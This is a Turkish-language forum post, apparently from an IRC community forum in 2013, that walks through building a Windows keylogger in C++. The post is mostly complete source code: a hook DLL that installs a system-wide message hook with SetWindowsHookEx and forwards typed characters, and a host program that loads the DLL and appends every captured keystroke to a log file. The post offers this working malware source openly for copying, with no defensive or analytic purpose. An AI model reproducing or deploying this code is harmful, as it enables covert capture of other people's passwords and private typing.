Tekil Mesaj gösterimi
Alt 16 Ocak 2013, 14:03   #1
Çevrimdışı
CeSaRCripS
Kullanıcıların profil bilgileri misafirlere kapatılmıştır.
IF Ticaret Sayısı: (0)
IF Ticaret Yüzdesi:(%)
C++ Keylogger Yapimi Geniş Anlatim




MyHookDll.h (bu bizim dll’nin arayüzüdür.Burada SetHook ve UnsetHook fonksiyonları export ediyoruz

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
#define MYHOOKDLL_API __declspec(dllexport) #include <windows.h> extern "C" { MYHOOKDLL_API int SetHook( HWND,UINT ); MYHOOKDLL_API int UnSetHook(); }

MyHookDll.cpp (Dll’nin kodu)


Kod:   Kodu kopyalamak için üzerine çift tıklayın!
#include "MyHookDll.h" // global değişkenler HINSTANCE hInstance = NULL; // The instance of the DLL // hook fonksiyonun gerçekleştirilmesi LRESULT CALLBACK KeyboardMsgProc ( int, WPARAM, LPARAM ); #pragma data_seg(".SData") HHOOK hMsgHook = NULL; // Hookun Handle UINT KBoardMessage = NULL; // ana pencereye // göndereceğimiz mesaj HWND hParentWnd = NULL; // ana pencere #pragma data_seg( ) //Shared akım yaratması için Linkere RWS atributuyla verilen komut #pragma comment(linker,"/SECTION:.SData,RWS") // Normal DllMain BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LP**** lpReserved) { if (ul_reason_for_call == DLL_PROCESS_ATTACH) hInstance = (HINSTANCE)hModule; return TRUE; } // iki fonksiyon SetHook ve UnsetHook MYHOOKDLL_API int SetHook (HWND hWnd,UINT UpdateMsg) { if (hWnd == NULL) return -1; // parametreleri kaydet hParentWnd = hWnd; KBoardMessage = UpdateMsg; // hook kur hMsgHook= ::SetWindowsHookEx (WH_GETMESSAGE, KeyboardMsgProc, hInstance, 0); if (hMsgHook == NULL) return -1; return 0; }; MYHOOKDLL_API int UnSetHook() { UnhookWindowsHookEx (hMsgHook); hMsgHook = NULL; return 0; }; //Hook callback fonksiyonu LRESULT CALLBACK KeyboardMsgProc (int code, WPARAM wParam, LPARAM lParam) { if (code >= 0) { MSG * msg = (MSG * )lParam; if ((lParam) &&(msg->message == WM_CHAR) &&(wParam == PM_REMOVE)) PostMessage (hParentWnd, KBoardMessage, msg->wParam, 0 ); } return CallNextHookEx (hMsgHook, code ,wParam , lParam); }

Keylogger.cpp (Dllyi kullanarak alınan mesajları bir dosyaya kaydeden Programın kodları)

Kod:   Kodu kopyalamak için üzerine çift tıklayın!
#define WM_HOOKMESSAGE WM_USER+1 // Global değişkenler HWND hWnd; // ana handle HINSTANCE hDllInst; // hook Dll // fonksiyonlar int ( * SetHook)( HWND,UINT); int (* UnSetHook)(); // Programa giriş int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { MSG msg; WNDCLASS wc; // class ve pencere tuş basımı hakkında bilgi alıyor. memset (&wc, 0, sizeof (wc)); wc.lpszClassName = "__MyKeyLogger"; wc.hInstance = hInstance; wc.lpfnWndProc = LogWndProc; wc.style = CS_HREDRAW | CS_VREDRAW ; wc.hbrBackground = (HBRUSH)(COLOR_MENU+1); wc.hCursor = LoadCursor(NULL, IDC_ARROW); RegisterClass(&wc); hWnd = ::CreateWindowEx (0, "__MyKeyLogger", "My KeyLogger", WS_POPUP |WS_VISIBLE | WS_CAPTION | WS_SYSMENU |WS_THICKFRAME , 0, 0, 200, 200, NULL, NULL, hInstance, 0); // Dll dahil ediyoruz hDllInst = LoadLibrary((LPCTSTR) "myhookdll.dll"); if (hDllInst) { SetHook = (int ( *)(HWND, UINT ))GetProcAddress(hDllInst,"SetHook"); UnSetHook = (int ( *)( ))GetProcAddress(hDllInst, "UnSetHook"); } // Hook ayarlıyoruz. if(SetHook)SetHook(hWnd, WM_HOOKMESSAGE); while (GetMessage(&msg, NULL, 0, 0)) { DispatchMessage(&msg); } // hooku kaldırıyoruz. if(UnSetHook)UnSetHook(); if (IsWindow(hWnd )) DestroyWindow (hWnd ); // Dll çıkarıyoruz if (hDllInst) FreeLibrary(hDllInst); // çıkış return 0; } // Pencerenin foksiyonu burada aldığımız mesajı işilyor ve kaydediyoruz LRESULT CALLBACK LogWndProc(HWND hwnd, UINT Message, UINT wParam, LONG lParam) { FILE * f = fopen("a.log","a"); switch (Message) { case WM_CLOSE: DestroyWindow(hwnd); break; case WM_HOOKMESSAGE: switch(wParam) { // bazı semboller için onların adlarını gönderiyoruz. case 0x08: fprintf(f,"<BkSp>");break; case 0x1b: fprintf(f,"<Esc>");break; case 0x0d: fprintf(f,"\n");break; default: fprintf(f,"%c",wParam ); } break; case WM_DESTROY: case WM_ENDSESSION: PostQuitMessage (0); break; } fclose(f); return DefWindowProc(hwnd,Message,wParam,lParam); }

[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]


Konu YazılımMimarı tarafından (19 Ocak 2013 Saat 02:30 ) değiştirilmiştir.
 
Alıntı ile Cevapla

IRCForumlari.NET Reklamlar
sohbet odaları eglen sohbet reklamver